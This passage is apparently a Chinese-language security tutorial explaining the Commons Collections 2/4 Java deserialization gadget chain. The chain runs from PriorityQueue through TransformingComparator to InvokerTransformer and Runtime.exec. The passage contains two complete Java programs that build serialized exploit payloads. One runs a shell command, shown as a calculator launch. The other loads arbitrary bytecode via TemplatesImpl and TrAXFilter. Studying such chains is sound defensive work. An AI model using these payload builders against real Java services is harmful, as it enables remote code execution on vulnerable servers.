当然,通过这种加载字节码的方式 我们还可以改造CC6,让他加载我们的字节码达到反序列化
需要注意的是,由于CC3依然用到了sun.reflect.annotation.AnnotationInvocationHandler
这个必要的类触发,所以高版本JDK依然不可以
Commoncollections2&4
前置知识
Commons-Collections4
版本:4.0
我们需要从他的Gadget学习几个新的类
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
PriorityQueue
PriorityQueue
优先级队列是基于优先级堆的一种特殊队列,它给每个元素定义“优先级”,这样取出数据的时候会按照优先级来取,默认情况下,优先级队列会根据自然顺序对元素进行排序;因此放入PriorityQueue
的元素必须实现Comparable
接口,PriorityQueue
会根据元素的排序顺序决定出队的优先级,如果没有实现Comparable
接口,PriorityQueue
还允许提供一个Comparator
对象来判断两个元素的顺序,PriorityQueue
支持反序列化,在重写的readObject
方法中将数据反序列化到queue
中之后,会调用heapify()
方法来对数据进行排序。
然后在这其中调用siftDown
方法,如果comparator != null
的话之后调用siftDownUsingComparator
方法siftDownUsingComparator()
方法中会调用comparator
的compare()
方法来进行优先级的比较和排序。
TransformingComparator
TransformingComparator
类似TransformedMap
,用Tranformer
来装饰一个Comparator
,待比较的值将先使用Tranformer
转换,再传递给Comparator
比较,TransformingComparator
初始化时配置Transformer
和Comparator
,如果不指定Comparator
则使用ComparableComparator.<Comparable>comparableComparator()
。
在调用TransformingComparator
的compare
方法时,调用了this.transformer.transform()
方法对要比较的两个值进行转换,然后再调用compare
方法比较。
在PriorrityQueue
中最后会通过comparator
的compare()
方法来进行优先级的比较和排序,这里可以通过调用TransformingComparator
中的transform()
方法来和之前连接起来。
PriorityQueue
中自实现了一个readObject
方法,根据我们的分析,最后会正好调用了transform 完成了整个反序列化的过程,这里我们来试着写个demo
实现
package CC2;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CC2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
当然 这个也可以加载任意字节码
package CC2;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CC2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(cc1.eval.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// Plan one
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(obj),
// new InvokerTransformer("newTransformer", null, null)
// };
// Plan two
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
插入点新的东西
可以看下一篇文章